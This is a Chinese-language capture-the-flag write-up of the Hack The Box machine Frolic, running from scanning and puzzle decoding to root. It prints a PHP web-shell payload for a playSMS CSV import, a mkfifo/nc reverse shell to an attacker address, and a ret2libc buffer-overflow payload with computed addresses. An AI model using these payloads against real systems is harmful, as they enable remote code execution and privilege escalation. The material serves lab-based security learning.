基本信息
端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 $ nmap -sC -sV -Pn 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-02 13:09 CST Nmap scan report for 10.10.10.111 Host is up (0.32s latency). Not shown: 996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) | 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 9999/tcp open http nginx 1.10.3 (Ubuntu) |_http-server-header: nginx/1.10.3 (Ubuntu) |_http-title: Welcome to nginx! Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -1h49m59s, deviation: 3h10m30s, median: -1s |_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: frolic | NetBIOS computer name: FROLIC\x00 | Domain name: \x00 | FQDN: frolic |_ System time: 2021-05-02T10:41:32+05:30 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-05-02T05:11:32 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 123.35 seconds
9999 9999是ngiinx默认页面:
1880 1880是node red:
目录扫描 9999端口继续目录扫描,得到一些目录:
1 2 3 4 5 6 ➜ ~ gobuster dir -u http://10.10.10.111:9999/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50 /admin (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/] /backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/] /dev (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/] /test (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/]
test test是phpinfo:
backup backup里两个文件和一个403目录:
1 2 user - admin password - imnothuman
dev dev直接访问是403,继续目录扫描:
1 2 3 4 ➜ ~ gobuster dir -u http://10.10.10.111:9999/dev -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50 /backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/] /test (Status: 200) [Size: 5]
playsms 根目录playsms:
admin admin是crack me:
admin 这太CTF了,login.js里得到密码,登录:
Ook 得到的是Ook
解出来得到一个目录:
login.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 var attempt = 3 ; function validate ( ) {var username = document .getElementById("username" ).value;var password = document .getElementById("password" ).value;if ( username == "admin" && password == "superduperlooperpassword_lol" ){alert ("Login successfully" ); window .location = "success.html" ; return false ;} else {attempt --; alert("You have left " +attempt+" attempt;" ); if ( attempt == 0 ){document .getElementById("username" ).disabled = true ;document .getElementById("password" ).disabled = true ;document .getElementById("submit" ).disabled = true ;return false ;} } }
string2ook.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 import sysif len(sys.argv) != 3 : print(f"{sys.argv[0 ]} [infile] [outfile]" ) sys.exit(0 ) try : with open(sys.argv[1 ], 'r' ) as f: with open(sys.argv[2 ], 'w' ) as fout: fout.write(f.read().replace('.' , 'Ook. ' ).replace('?' ,'Ook? ' ).replace('!' ,'Ook! ' )) except : print("Failed" )
asdiSIAJJ0QWE9JAS 得到的是base64 zip:
zip 1 2 3 curl -s http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > index.php.zip fcrackzip -D -c a -p ~/Tools/dict/rockyou.txt --use-unzip ./index.php.zip
zip文件需要密码,很简单的破解:
index.php Index.php又是编码转换:
1 cat index.php | xxd -r -p | tr -d '\r\n' | base64 -d
brainfuck 这是brainfuck,直接在线解出来个应该是密码:
playsms 得到的密码可以登录playsms,
webshell 搜到已知漏洞;
就是csv导入的时候可以注入php代码:
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f
backdoor.csv 1 2 Name,Mobile,Email,Group code,Tags <?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,
user flag www-data用户可以读取ayush用户目录user.txt:
rop suid很容易发现一个rop:
1 find / -perm -u=s -type f 2>/dev/null
rop 就是基础rop,没开aslr:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 eip offset 52 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@" 1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh 15ba0b /bin/sh readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@" 141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0 ldd rop linux-gate.so.1 => (0xb7fda000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000) /lib/ld-linux.so.2 (0xb7fdb000)
exploit & root flag 1 2 3 4 5 6 7 8 9 10 11 gdb-peda$ p 0xb7e19000 + 0x0003ada0 $4 = 0xb7e53da0 # system gdb-peda$ p 0xb7e19000 + 0x15ba0b $5 = 0xb7f74a0b # /bin/sh gdb-peda$ p 0xb7e19000 + 0x0002e9d0 $6 = 0xb7e479d0 # exit ./rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")')
参考资料
Last updated: 2021-05-02 14:17:06
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会